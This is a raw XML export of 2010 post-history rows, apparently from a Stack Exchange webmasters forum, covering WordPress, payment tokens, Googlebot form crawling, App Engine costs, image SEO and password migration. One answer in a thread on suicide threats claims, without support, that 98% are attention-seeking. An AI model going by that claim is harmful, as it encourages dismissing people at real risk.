href=&quot;http://code.google.com/p/swfobject/wiki/documentation&quot;&gt;documentation&lt;/a&gt; is awesome, you'll have it up and running in no time. And if you hit any snags, ask another question." />
  <row Id="1852" PostHistoryTypeId="2" PostId="1029" RevisionGUID="00e8fc01-0c67-4b06-bb3e-60b5753fff2b" CreationDate="2010-07-16T08:21:21.937" UserId="149" Text="You get what you pay for. I've used Templatic and DailyWP's job board themes (in your first link) and they're both very good.&#xD;&#xA;&#xD;&#xA;I haven't seen a free theme that comes close to them as far as overall quality, payment integration, etc etc." />
  <row Id="1853" PostHistoryTypeId="2" PostId="1030" RevisionGUID="af22ebc8-fb97-402c-8055-4a4ccba63e4f" CreationDate="2010-07-16T08:30:35.363" UserId="149" Text="I've used WordPress to create everything from high-traffic news sites with workflow-wrapped user submissions, to e-commerce sites and full blown corporate CMS style sites.&#xD;&#xA;&#xD;&#xA;Out of the box, yes it's just a blog engine.. but the ease of making plugins and the huge availability of third party themes/plugins/extras, as well as the sheer size of the supporting community, puts it right at the top of the list for me.&#xD;&#xA;&#xD;&#xA;I still use Drupal occasionally if the client requires something really out-there (complex workflows, integration with other systems, etc), but i'd say 90% of my work is done purely in WordPress now just due to how easy it is, and how quick I can churn out a product that delivers the client's needs.&#xD;&#xA;&#xD;&#xA;The back-end of WordPress is also among the best out there. I find a majority of support I do for clients is coming from the minority I have running Drupal. It's a lot easier for an everyday person to break things in Drupal, and a lot more difficult for them to figure out day to day tasks. WordPress is clean, simple, and easy to use even if the person has never done any webmaster-style work before." />
  <row Id="1854" PostHistoryTypeId="2" PostId="1031" RevisionGUID="06071a0c-7078-47c4-ad10-446a206ddcaa" CreationDate="2010-07-16T09:30:47.630" UserId="9301" Text="What do you do if one of the users of your website announces that he will commit suicide?" />
  <row Id="1855" PostHistoryTypeId="1" PostId="1031" RevisionGUID="06071a0c-7078-47c4-ad10-446a206ddcaa" CreationDate="2010-07-16T09:30:47.630" UserId="9301" Text="How do you handle Suicide Threats?" />
  <row Id="1856" PostHistoryTypeId="3" PostId="1031" RevisionGUID="06071a0c-7078-47c4-ad10-446a206ddcaa" CreationDate="2010-07-16T09:30:47.630" UserId="9301" Text="&lt;moderation&gt;" />
  <row Id="1857" PostHistoryTypeId="2" PostId="1032" RevisionGUID="36589b83-9a2f-47b2-ace6-9043ebdaa136" CreationDate="2010-07-16T09:39:46.073" UserId="3" Text="If you think the user is serious, I'd call the local police in his or her jurisdiction and let them know, for their own safety.&#xD;&#xA;&#xD;&#xA;I believe that's how this is typically handled.&#xD;&#xA;&#xD;&#xA;(this is of course assuming you have some kind of address or location beyond an IP address..)" />
  <row Id="1858" PostHistoryTypeId="2" PostId="1033" RevisionGUID="14315dc9-234a-4c29-97c8-e56fabfb8c01" CreationDate="2010-07-16T09:40:00.443" UserId="288" Text="There's probably not a lot you can do and I don't think that there is no right answer.&#xD;&#xA;&#xD;&#xA;I was going to say that I would either take the post down or not let it through (depending on your moderation scheme), but that could be interpreted the wrong way by the poster. However, you don't really want such posts on your site - other users might not be sympathetic or tactful.&#xD;&#xA;&#xD;&#xA;The best you can do is not be judgemental and reply with a link or phone number to the Samaritans (or equivalent)." />
  <row Id="1859" PostHistoryTypeId="16" PostId="1033" RevisionGUID="14315dc9-234a-4c29-97c8-e56fabfb8c01" CreationDate="2010-07-16T09:40:00.443" UserId="288" />
  <row Id="1860" PostHistoryTypeId="2" PostId="1034" RevisionGUID="56635a8c-0fbb-467b-a3cd-0fed09d03680" CreationDate="2010-07-16T09:52:03.967" UserId="427" Text="I guess it really depends on the kind of website you have, the audience it caters to, and just how much personal information you have on users.&#xD;&#xA;&#xD;&#xA;Suicide is a Big Thing, but 98% of people who threaten suicide just don't friggin do it, and are only uttering said threats out of a need for attention. Don't provide the attention, they'll go elsewhere. Give them chocolate candied attention, they'll pester you again, and again, and again.&#xD;&#xA;&#xD;&#xA;PS: No, really, if you've got a suicide helpline of a website, or one targeting troubled persons (former cancer patients or something), yeah, call the cops if you have enough info. That might just be a real Desperate Cry for Help®." />
  <row Id="1861" PostHistoryTypeId="2" PostId="1035" RevisionGUID="a28c7713-1095-41e8-86cd-246c1602b7fd" CreationDate="2010-07-16T09:53:16.540" UserId="194" Text="It's never a good idea to store credit card details EVER.  You're just setting yourself up for a fall, any decent payment gateway will allow you to do recurring transactions with a token where you don't have to store the cc details." />
  <row Id="1862" PostHistoryTypeId="2" PostId="1036" RevisionGUID="2bc6afb3-3a93-4a7e-b828-81a731161121" CreationDate="2010-07-16T10:12:17.090" UserId="468" Text="In my ecommerce application we store all searches that customers have made from our search box. I've noticed in the last month or so though that the dominant search term in the stats is the term which we pre-populate the field with - for example - &quot;Search Here&quot;. Its not possible to submit this term as a user if you have javascript enabled but the fact its happening so often is leading me to believe that a bot like Google is autosubmitting this search box. Is this possible/likely?" />
  <row Id="1863" PostHistoryTypeId="1" PostId="1036" RevisionGUID="2bc6afb3-3a93-4a7e-b828-81a731161121" CreationDate="2010-07-16T10:12:17.090" UserId="468" Text="Is google submitting my search box form?" />
  <row Id="1864" PostHistoryTypeId="3" PostId="1036" RevisionGUID="2bc6afb3-3a93-4a7e-b828-81a731161121" CreationDate="2010-07-16T10:12:17.090" UserId="468" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="1865" PostHistoryTypeId="2" PostId="1037" RevisionGUID="12b315e4-6e48-42f9-a2c2-27a74d34203c" CreationDate="2010-07-16T10:17:20.143" UserId="9301" Text="I think it's much more probably that it's some rogue spam bot than a bot from a reputable company like Google.&#xD;&#xA;&#xD;&#xA;How about simply logging the IP and user agent when an user enter such a query?" />
  <row Id="1866" PostHistoryTypeId="5" PostId="1033" RevisionGUID="2eb30b85-6c8b-4d7e-a725-ea3fc835e4c9" CreationDate="2010-07-16T10:25:19.403" UserDisplayName="delete" Comment="no -&gt; any" Text="There's probably not a lot you can do and I don't think that there is any right answer.&#xD;&#xA;&#xD;&#xA;I was going to say that I would either take the post down or not let it through (depending on your moderation scheme), but that could be interpreted the wrong way by the poster. However, you don't really want such posts on your site - other users might not be sympathetic or tactful.&#xD;&#xA;&#xD;&#xA;The best you can do is not be judgemental and reply with a link or phone number to the Samaritans (or equivalent)." />
  <row Id="1867" PostHistoryTypeId="2" PostId="1038" RevisionGUID="9394786c-7474-4f20-baba-0b1c0ecb94fd" CreationDate="2010-07-16T11:10:30.403" UserId="9301" Text="How does the cost of hosting on Google App Engine compare to hosting on more classical servers for a high traffic website?" />
  <row Id="1868" PostHistoryTypeId="1" PostId="1038" RevisionGUID="9394786c-7474-4f20-baba-0b1c0ecb94fd" CreationDate="2010-07-16T11:10:30.403" UserId="9301" Text="Cost of hosting on Google App Engine" />
  <row Id="1869" PostHistoryTypeId="3" PostId="1038" RevisionGUID="9394786c-7474-4f20-baba-0b1c0ecb94fd" CreationDate="2010-07-16T11:10:30.403" UserId="9301" Text="&lt;web-hosting&gt;" />
  <row Id="1870" PostHistoryTypeId="2" PostId="1039" RevisionGUID="d4155d1d-85b7-4ea6-975a-f71348875da7" CreationDate="2010-07-16T11:25:40.287" UserId="55" Text="You should handle it just like any other threat to someone's life. A person threatening to kill themselves, or someone else is still threatening to kill ***someone***. The only sensible thing to do is try and report it.&#xD;&#xA;&#xD;&#xA;If you have the visitor's information, you may be able to get in touch with a local police department. This might be difficult if the visitor is from another country. If not, you have the FBI, etc, even if they tell you that there's nothing they or you can do.&#xD;&#xA;&#xD;&#xA;If the person followed through, at least you ***tried*** to report it, furthermore, nobody can say you ***failed*** to report it." />
  <row Id="1871" PostHistoryTypeId="2" PostId="1040" RevisionGUID="a68f9a32-e91f-43d0-9788-32f2932f3e42" CreationDate="2010-07-16T11:31:49.870" UserDisplayName="delete" Text="I was going to post this as a comment but just since you wrote &quot;My website isn't built yet&quot;, please take a look at the limits for a free account:&#xD;&#xA;&#xD;&#xA;http://code.google.com/appengine/docs/quotas.html#Resources&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;                        Per day                 Per minute&#xD;&#xA;Requests	        1,300,000 requests	7,400 requests/minute&#xD;&#xA;&#xD;&#xA;Outgoing Bandwidth	1 gigabyte	        56 megabytes/minute&#xD;&#xA;&#xD;&#xA;Incoming Bandwidth	1 gigabyte	        56 megabytes/minute&#xD;&#xA;&#xD;&#xA;CPU Time	        6.5 CPU-hours	        15 CPU-minutes/minute&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;If you think you will use a lot more than that, it's one serious web site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1872" PostHistoryTypeId="2" PostId="1041" RevisionGUID="335d987e-b9f4-4f07-8384-a5d5b181efed" CreationDate="2010-07-16T11:50:48.590" UserId="480" Text="Are there any JavaScript includes to provide an AJAX based keyword suggestion tool based on some existing text?&#xD;&#xA;&#xD;&#xA;For instance Yahoo offer a [Keyword Extraction Tool][1] but due to cross-domain JavaScript policies in browsers it is not possible to provide a pure JavaScript version of this.&#xD;&#xA;&#xD;&#xA;If a site offered a library for inclusion that would then perform the query this breaks the cross-domain restriction.&#xD;&#xA;&#xD;&#xA;Is there such a service?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/search/content/V1/termExtraction.html" />
  <row Id="1873" PostHistoryTypeId="1" PostId="1041" RevisionGUID="335d987e-b9f4-4f07-8384-a5d5b181efed" CreationDate="2010-07-16T11:50:48.590" UserId="480" Text="AJAX Keyword Suggestion Tool" />
  <row Id="1874" PostHistoryTypeId="3" PostId="1041" RevisionGUID="335d987e-b9f4-4f07-8384-a5d5b181efed" CreationDate="2010-07-16T11:50:48.590" UserId="480" Text="&lt;domains&gt;&lt;javascript&gt;&lt;meta-keywords&gt;" />
  <row Id="1875" PostHistoryTypeId="2" PostId="1042" RevisionGUID="56a9b92f-a74c-4628-8fc0-6b40b90c94ca" CreationDate="2010-07-16T11:57:53.677" UserId="480" Text="When using [Google's JSAPI Auto-Loading][1] system - is there a way to get the returned file with all the JavaScript (combined) in one HTTP request?&#xD;&#xA;&#xD;&#xA;At the minute is just calls the load routines (with more HTTP requests) at the end of returned file, which makes is not ideal when it can reduce 2+ requests by just including the returned JavaScript content all in one.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/ajax/documentation/#AutoLoading" />
  <row Id="1876" PostHistoryTypeId="1" PostId="1042" RevisionGUID="56a9b92f-a74c-4628-8fc0-6b40b90c94ca" CreationDate="2010-07-16T11:57:53.677" UserId="480" Text="Google JSAPI Auto-Loading" />
  <row Id="1877" PostHistoryTypeId="3" PostId="1042" RevisionGUID="56a9b92f-a74c-4628-8fc0-6b40b90c94ca" CreationDate="2010-07-16T11:57:53.677" UserId="480" Text="&lt;google&gt;&lt;javascript&gt;" />
  <row Id="1878" PostHistoryTypeId="2" PostId="1043" RevisionGUID="daa56389-1920-4cc2-a104-ac720845aaab" CreationDate="2010-07-16T12:21:21.413" UserId="205" Text="Well, for what it's worth you could create a server-side script that serves as a middle-man.  Your AJAX request would send the relevant text to your script, then your script would perform an identical request to Yahoo and then pass the results back." />
  <row Id="1879" PostHistoryTypeId="2" PostId="1044" RevisionGUID="db833613-6f05-4002-b403-4b1f9725e134" CreationDate="2010-07-16T12:40:27.117" UserId="97" Text="If you are going to store CCs in your database, encryption is key.  You'll also want (or maybe need) to have a third-party do routine compliance testing to ensure your systems are up to snuff." />
  <row Id="1880" PostHistoryTypeId="2" PostId="1045" RevisionGUID="fbe908b8-5cbd-4260-a757-9c6e2f16f582" CreationDate="2010-07-16T13:14:53.280" UserId="233" Text="I've never seen site-specific image results, but here are some general tips for getting into Google Image search. Once your images are well-placed in Google Image SERPs then they will likely turn up in regular Google searches too.&#xD;&#xA;&#xD;&#xA;Firstly, make sure your images are **indexable** - either inserted directly with the `&lt;img&gt;` tag, or directly linked to. Background images from CSS are not generally indexed.&#xD;&#xA;&#xD;&#xA;Make sure the **filename** is useful and descriptive of the image. Use lowercase and separate words with hyphens, same as normal SEF URLs. This is another &quot;good for users&quot; thing; &quot;/images/DSC0001.JPG&quot; is no use to anyone, whereas &quot;/images/cats/tabby-yarn-ball.jpg&quot; is easy to understand.&#xD;&#xA;&#xD;&#xA;Add a brief description to the **alt tag** for the image. It should say what is in the image, so that visually-impaired users can understand it. Using the previous example, &quot;Tabby cat playing with a ball or yarn&quot; would be good.&#xD;&#xA;&#xD;&#xA;Add **text in the page**, around the image. This should be *naturally occurring* anyway since you often place images within the text on the same subject. You might have some text like &quot;Mittens likes playing with his ball of yarn, as you can see!&quot; with the image nearby." />
  <row Id="1881" PostHistoryTypeId="2" PostId="1046" RevisionGUID="bb9a1ddd-2985-4f5f-a8f6-c66174df6773" CreationDate="2010-07-16T13:27:44.717" UserId="454" Text="well, first of all keep in mind that the factual accuracy and look &amp; feel of a site aren't ranking factors. &#xD;&#xA;&#xD;&#xA;And really, neither is HTML quality, or frequency of updates (although that's a longer issue)&#xD;&#xA;&#xD;&#xA;If it looks like an ancient site, maybe it is. Google's going to give a lot of weight to a 10 year old site, especially if most of the competition is much newer. &#xD;&#xA;&#xD;&#xA;Apart from that, its gotta be links. Use Yahoo Site Explorer / Open Site Explorer / whatever else. &#xD;&#xA;&#xD;&#xA;You'll (probably) either find that the page has a bunch of really strong, natural links, or that it has a bunch of spam / paid links. If its the latter, you can spam report him. &#xD;&#xA;&#xD;&#xA; " />
  <row Id="1882" PostHistoryTypeId="2" PostId="1047" RevisionGUID="26e1ec98-02ec-4fb0-a1f7-f3aa0906286f" CreationDate="2010-07-16T13:36:03.323" UserId="26" Text="No. The [AutoLoading][1] option seems more about decreasing the number of requests *you* have to make to the Google service, rather than about decreasing the number of returned scripts and files from Google.&#xD;&#xA;&#xD;&#xA;I don't see an option to concatenate the returned files as of this writing (16 July 2010).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/ajax/documentation/#AutoLoading" />
  <row Id="1883" PostHistoryTypeId="2" PostId="1048" RevisionGUID="212ea064-5da7-4320-9b01-be7de9a8fd6a" CreationDate="2010-07-16T13:38:49.697" UserId="60" Text="Does your 3rd Party Merchant not include the option for Continuous Credit Card Payments - most of the major ones here in the UK certainly do (DataCash, RBS World Pay, etc., etc.).&#xD;&#xA;&#xD;&#xA;Basically, you submit the Card Details once to them, with a request for a CCC authority (which, if I recall correctly needs to include the expected schedule and regular amount), and then you receive a token back from them. Then every month/whatever you poll the merchant with the token, and they process the subsequent transactions for you - I believe there is also a facility to set up a variable .&#xD;&#xA;&#xD;&#xA;This way, you aren't storing the CC details anywhere, that's all being handled by people that have met the requirements.&#xD;&#xA;&#xD;&#xA;This is similar to doing Pre-authorisations on a card, so you should never have to store the credit card, just a token from the Merchant that you can call as needed." />
  <row Id="1884" PostHistoryTypeId="2" PostId="1049" RevisionGUID="12d0c017-9554-4d91-8e97-a2684da667db" CreationDate="2010-07-16T13:44:32.257" UserId="307" Text="The big controversy over Flash or Silverlight is about lack of smartphone(notably iPhone) support, instability/vulnerability of plugins and bad accessibility of plugin-based websites.&#xD;&#xA;&#xD;&#xA;My advice is that, if you are doing something really basic that can be done in simple HTML+CSS+JavaScript and is relatively well-supported across web browsers, don't do it with plugins.&#xD;&#xA;&#xD;&#xA;If you want to target the iPhone, then definitively don't use plugins at all.&#xD;&#xA;&#xD;&#xA;Otherwise, think about which features you need:&#xD;&#xA;&#xD;&#xA;1. If the only way to do it is with plugins, then use plugins.&#xD;&#xA;2. If it is available in newer standards(HTML5/CSS3), but some browsers don't support it(IE6, for instance), but graceful degradation is possible, then build it in those standards and gracefully degradate.&#xD;&#xA;3. If graceful degradation is not possible, is it acceptable to have two versions of your application? If so, then you could have a HTML5 version and a plugin version. This is what YouTube does.&#xD;&#xA;4. If it's not acceptable to have two versions, then who is your average user? How many users have &quot;modern&quot; browsers vs. how many users have plugins? How will the situation be in the next few years? Based on the answers, either pick HTML5 or plugins.&#xD;&#xA;&#xD;&#xA;However, remember that there is no single solution to the question &quot;HTML5 or plugins?&quot;. Different websites have different needs." />
  <row Id="1885" PostHistoryTypeId="5" PostId="1038" RevisionGUID="ac3f5777-f012-4e84-bff7-8f1413a42936" CreationDate="2010-07-16T14:04:29.573" UserId="9301" Comment="added 128 characters in body" Text="How does the cost of hosting on Google App Engine compare to hosting on more classical servers for a high traffic website?&#xD;&#xA;&#xD;&#xA;What's the answer for a website with 1000 page views per minute and how do the costs compare at 10000 page views per minute?" />
  <row Id="1886" PostHistoryTypeId="2" PostId="1050" RevisionGUID="ead8a38e-1fc7-4930-b183-e2a16a301a2e" CreationDate="2010-07-16T14:40:21.187" UserId="26" Text="An additional technique Google recommends is an [Image Sitemap][1], for which you add an `&lt;image&gt;` tag to the normal sitemap XML, and apply metadata for the search engine:&#xD;&#xA;&#xD;&#xA;&gt; With image search, just as with web&#xD;&#xA;&gt; search, Google's goal is to provide&#xD;&#xA;&gt; the best and most relevant search&#xD;&#xA;&gt; results to our users. Following&#xD;&#xA;&gt; Google's [Webmaster Guidelines][2] and [best&#xD;&#xA;&gt; practices for publishing images][3] can&#xD;&#xA;&gt; increase the likelihood that your&#xD;&#xA;&gt; images will be returned in those&#xD;&#xA;&gt; search results. In addition, you can&#xD;&#xA;&gt; also use Google's image extensions for&#xD;&#xA;&gt; Sitemaps to give Google additional&#xD;&#xA;&gt; information about the images on your&#xD;&#xA;&gt; site's URLs. Doing this can help&#xD;&#xA;&gt; Google discover images we might not&#xD;&#xA;&gt; otherwise find (such as images that&#xD;&#xA;&gt; are reached via JavaScript forms), and&#xD;&#xA;&gt; also enables you to identify the most&#xD;&#xA;&gt; important images on a page. For&#xD;&#xA;&gt; example, if your site uses templates,&#xD;&#xA;&gt; every page might feature a boilerplate&#xD;&#xA;&gt; image. By not listing this image in&#xD;&#xA;&gt; your Sitemap, you're telling Google&#xD;&#xA;&gt; that it's less important than the&#xD;&#xA;&gt; images you have included. However,&#xD;&#xA;&gt; Google doesn't guarantee that we'll&#xD;&#xA;&gt; index all of your images or use all of&#xD;&#xA;&gt; the information in your Sitemap.&#xD;&#xA;&gt; &#xD;&#xA;&gt; To give Google information about&#xD;&#xA;&gt; images on your site, you'll need to&#xD;&#xA;&gt; begin by creating a [standard web&#xD;&#xA;&gt; Sitemap][4]. (You can also update an&#xD;&#xA;&gt; existing Sitemap.)&#xD;&#xA;&gt; &#xD;&#xA;&gt; For each URL you list in your Sitemap,&#xD;&#xA;&gt; add additional information about&#xD;&#xA;&gt; important images on that page. The&#xD;&#xA;&gt; following example shows a Sitemap&#xD;&#xA;&gt; entry for the URL&#xD;&#xA;&gt; http://example.com/sample.html, which&#xD;&#xA;&gt; contains two images. (You can list up&#xD;&#xA;&gt; to 1,000 images for each page.)&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;     &lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&#xD;&#xA;      xmlns:image=&quot;http://www.google.com/schemas/sitemap-image/1.1&quot;&gt;&#xD;&#xA;     &lt;url&gt;&#xD;&#xA;       &lt;loc&gt;http://example.com/sample.html&lt;/loc&gt;&#xD;&#xA;       &lt;image:image&gt;&#xD;&#xA;         &lt;image:loc&gt;http://example.com/image1.jpg&lt;/image:loc&gt;&#xD;&#xA;    	 &lt;image:caption&gt;Something about image 1&lt;/image:caption&gt;&#xD;&#xA;    	 &lt;image:title&gt;The title of image 1&lt;/image:caption&gt;&#xD;&#xA;    	 &lt;image:licence&gt;[[A URL to the license of the image]]&lt;/image:caption&gt;&#xD;&#xA;    	 &lt;image:geo_location&gt;New York, New York, USA&lt;/image:geo_location&gt;&#xD;&#xA;       &lt;/image:image&gt;&#xD;&#xA;       &lt;!-- more images as you like... --&gt;&#xD;&#xA;     &lt;/url&gt; &#xD;&#xA;    &lt;/urlset&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=178636&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;  [3]: http://www.google.com/support/webmasters/bin/answer.py?answer=114016&#xD;&#xA;  [4]: http://www.google.com/support/webmasters/bin/answer.py?answer=156184&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1887" PostHistoryTypeId="2" PostId="1051" RevisionGUID="2b9e310d-ecc5-4238-997a-24cf14769e8c" CreationDate="2010-07-16T14:44:05.097" UserId="494" Text="Google says, sometimes Googlebot may submit GET forms.&#xD;&#xA;&#xD;&#xA;http://googlewebmastercentral.blogspot.com/2008/04/crawling-through-html-forms.html&#xD;&#xA;&#xD;&#xA;&gt; Specifically, when we encounter a&#xD;&#xA;&gt; &lt;FORM&gt; element on a high-quality site,&#xD;&#xA;&gt; we might choose to do a small number&#xD;&#xA;&gt; of queries using the form. For text&#xD;&#xA;&gt; boxes, our computers automatically&#xD;&#xA;&gt; choose words from the site that has&#xD;&#xA;&gt; the form; for select menus, check&#xD;&#xA;&gt; boxes, and radio buttons on the form,&#xD;&#xA;&gt; we choose from among the values of the&#xD;&#xA;&gt; HTML. Having chosen the values for&#xD;&#xA;&gt; each input, we generate and then try&#xD;&#xA;&gt; to crawl URLs that correspond to a&#xD;&#xA;&gt; possible query a user may have made." />
  <row Id="1888" PostHistoryTypeId="2" PostId="1052" RevisionGUID="38330dcd-c4aa-4476-aa2a-990c802b45d5" CreationDate="2010-07-16T14:56:53.410" UserId="42" Text="This was happening on my site and as it turned out when the user hit enter on the keyboard in an alternate textbox, like for quantity, the search fired.  While it could be a bot, I'd think this scenario is more likely.  &#xD;&#xA;&#xD;&#xA;To test, try hitting the enter key in alternate fields besides the search box." />
  <row Id="1889" PostHistoryTypeId="2" PostId="1053" RevisionGUID="7df50bae-aff4-4dc2-af2a-600d8a344a1b" CreationDate="2010-07-16T15:03:01.493" UserId="26" Text="I'm a little unclear on the final usage as to why you're specifying AJAX, but check out [Zemanta][1], which provides an API to send text to that you can query for interesting contextual information. Here are the [Zemanta docs][2].&#xD;&#xA;&#xD;&#xA;Is that the kind of things you're looking for?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.zemanta.com/&#xD;&#xA;  [2]: http://developer.zemanta.com/docs" />
  <row Id="1890" PostHistoryTypeId="2" PostId="1054" RevisionGUID="af0aa172-b285-41f8-bcbb-bdeb924f2dcf" CreationDate="2010-07-16T15:15:24.860" UserId="26" Text="So it sounds like you're concerned that Google App Engine will work and scale for you, but you're going to get to a point where you exceed their capacity to host you without being costly. Is that right?&#xD;&#xA;&#xD;&#xA;I think the thing to do here is to have an &quot;exit strategy&quot; for your App. I think you need this regardless of whether you exceed Google's limits or not. What if Google decides App Engine is a money loser? What if it stops supporting the APIs you want to use?&#xD;&#xA;&#xD;&#xA;Check out [AppScale][1], which is intended to be an open source version of Google App Engine for what might end up as your fallback.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/appscale/" />
  <row Id="1891" PostHistoryTypeId="5" PostId="1054" RevisionGUID="209ea346-0af9-41de-8310-ef2f156a920e" CreationDate="2010-07-16T15:31:05.760" UserId="26" Comment="added 36 characters in body" Text="So it sounds like you're concerned that Google App Engine will work and scale for you, but you're going to get to a point where you exceed their capacity to host you without being costly. Is that right?&#xD;&#xA;&#xD;&#xA;I think the thing to do here is to have an &quot;exit strategy&quot; for your App. I think you need this regardless of whether you exceed Google's limits or not. What if Google decides App Engine is a money loser? What if it stops supporting the APIs you want to use?&#xD;&#xA;&#xD;&#xA;Check out [**AppScale**][1], which is intended to be an open source version of Google App Engine for what might end up as your fallback should you outgrow GAE's limits.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/appscale/" />
  <row Id="1892" PostHistoryTypeId="2" PostId="1055" RevisionGUID="1dc7752e-b232-4e55-b9bd-c12ce2fc4d80" CreationDate="2010-07-16T15:35:18.023" UserId="140" Text="I have a site that looks more or less the same in all browsers except Internet Explorer (version 7 and below).  How do I create styles that only IE7 and below will recognize?" />
  <row Id="1893" PostHistoryTypeId="1" PostId="1055" RevisionGUID="1dc7752e-b232-4e55-b9bd-c12ce2fc4d80" CreationDate="2010-07-16T15:35:18.023" UserId="140" Text="How do I create styles for IE7 (and below)?" />
  <row Id="1894" PostHistoryTypeId="3" PostId="1055" RevisionGUID="1dc7752e-b232-4e55-b9bd-c12ce2fc4d80" CreationDate="2010-07-16T15:35:18.023" UserId="140" Text="&lt;css&gt;&lt;internet-explorer&gt;&lt;cross-browser&gt;" />
  <row Id="1895" PostHistoryTypeId="2" PostId="1056" RevisionGUID="1d51ad86-218d-4613-9191-ea8f587bf1ed" CreationDate="2010-07-16T15:37:03.170" UserId="180" Text="This is totally unquantified, but I have seen cases where fairly obscure search results pages for a couple of my sites are showing up in Google's index.  &#xD;&#xA;&#xD;&#xA;While it's possible that this is due to them inserting random strings, I suspect that these URLs are coming from other places, either the Google Toolbar, or from Analytics where I have configured it to understand my site search URL pattern." />
  <row Id="1897" PostHistoryTypeId="2" PostId="1058" RevisionGUID="ff797e48-ac2c-4abb-81ef-4e19ea6e8260" CreationDate="2010-07-16T15:40:32.050" UserId="26" Text="What you want are [IE Conditional Comments][1]:&#xD;&#xA;&#xD;&#xA;    &lt;!--[if lte IE 7]&gt;&#xD;&#xA;    &lt;link rel=&quot;stylesheet&quot; href=&quot;ie7-or-less.css&quot; type=&quot;text/css&quot; /&gt;&#xD;&#xA;    &lt;![endif]--&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://msdn.microsoft.com/en-us/library/ms537512(VS.85).aspx&#xD;&#xA;" />
  <row Id="1898" PostHistoryTypeId="2" PostId="1059" RevisionGUID="7573eb3f-794a-47f6-a2d6-f18ebb754ee4" CreationDate="2010-07-16T15:47:54.450" UserId="41" Text="What scripting do you use for basic server maintenance kinds of tasks, e.g. backups, moving files around, etc.? Do you stick to bash, ruby, perl, something else, or do you mix-and-match for different needs? What are the strengths and weaknesses of your choice(s)?&#xD;&#xA;&#xD;&#xA;I'm personally interested in *nix servers, but maybe the question could be relevant to Windows servers as well." />
  <row Id="1899" PostHistoryTypeId="1" PostId="1059" RevisionGUID="7573eb3f-794a-47f6-a2d6-f18ebb754ee4" CreationDate="2010-07-16T15:47:54.450" UserId="41" Text="Which scripting language for server maintenance ?" />
  <row Id="1900" PostHistoryTypeId="3" PostId="1059" RevisionGUID="7573eb3f-794a-47f6-a2d6-f18ebb754ee4" CreationDate="2010-07-16T15:47:54.450" UserId="41" Text="&lt;server&gt;&lt;linux&gt;&lt;language&gt;" />
  <row Id="1901" PostHistoryTypeId="2" PostId="1060" RevisionGUID="fcadd4b9-fb3d-416a-b515-344086c029e9" CreationDate="2010-07-16T15:51:34.433" UserId="26" Text="I think what you want to do is add a [custom post type][1] for a job posting. Take a look at [this example][2] custom post type which should give you a good template for creating a job post.&#xD;&#xA;&#xD;&#xA;In the past (before 3.0) I have used the [Magic Fields][3] plugin to add a custom post type for &quot;Jobs&quot; by adding the fields I want for job posts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://codex.wordpress.org/Custom_Post_Types&#xD;&#xA;  [2]: http://thinkvitamin.com/dev/create-your-first-wordpress-custom-post-type/&#xD;&#xA;  [3]: http://wordpress.org/extend/plugins/magic-fields/" />
  <row Id="1902" PostHistoryTypeId="2" PostId="1061" RevisionGUID="84bf8f69-22ce-4245-aa12-32ab17c2d3e4" CreationDate="2010-07-16T16:23:54.567" UserId="140" Text="Flowplayer's pseudostreaming plugin requires a specific server configuration to work.&#xD;&#xA;&#xD;&#xA;https://static.flowplayer.org/plugins/streaming/pseudostreaming.html&#xD;&#xA;&#xD;&#xA;What video services/hosts/CDNs exist that offer support for pseudostreaming?  Which do you use/recommend?&#xD;&#xA;&#xD;&#xA;In case it's relevant, I intend to host H.264-encoded MP4s. No livestreaming." />
  <row Id="1903" PostHistoryTypeId="1" PostId="1061" RevisionGUID="84bf8f69-22ce-4245-aa12-32ab17c2d3e4" CreationDate="2010-07-16T16:23:54.567" UserId="140" Text="Hosting videos for use in Flowplayer (pseudostreaming)?" />
  <row Id="1904" PostHistoryTypeId="3" PostId="1061" RevisionGUID="84bf8f69-22ce-4245-aa12-32ab17c2d3e4" CreationDate="2010-07-16T16:23:54.567" UserId="140" Text="&lt;web-hosting&gt;&lt;video&gt;" />
  <row Id="1905" PostHistoryTypeId="2" PostId="1062" RevisionGUID="45a2e4ec-12c8-4972-b065-6f0924bdd316" CreationDate="2010-07-16T16:46:41.580" UserId="313" Text="I have a system with a few thousand user accounts that I need to migrate to a new platform.  The system stores a hashed password, not encrypted or (thank goodness) plain text.  Also, I don't have the details of the hashing readily available.&#xD;&#xA;&#xD;&#xA;What are some effective ways to make the transition?  One idea comes to mind off the top of my head:&#xD;&#xA;&#xD;&#xA; 1. Ahead of time, I can migrate all the&#xD;&#xA;    data.  Current users in the old&#xD;&#xA;    platform will have an account and&#xD;&#xA;    all their data in the new platform.&#xD;&#xA; 2. Rip out some of the code that&#xD;&#xA;    currently handles authentication and&#xD;&#xA;    turn it into a kind of service that&#xD;&#xA;    will check the validity of the&#xD;&#xA;    username/password.&#xD;&#xA; 3. The new platform&#xD;&#xA;    can first check it's own&#xD;&#xA;    authentication to see whether the password has been transferred.  If it hasn't,&#xD;&#xA;    it could call the service on the other platform to determine whether it's valid in the old system.&#xD;&#xA; 4. If it's not valid, then it tells the user their login was wrong.&#xD;&#xA; 5. If it is valid, it now knows the correct password and can populate its own user table with the password (according to whatever scheme that platform uses).&#xD;&#xA;" />
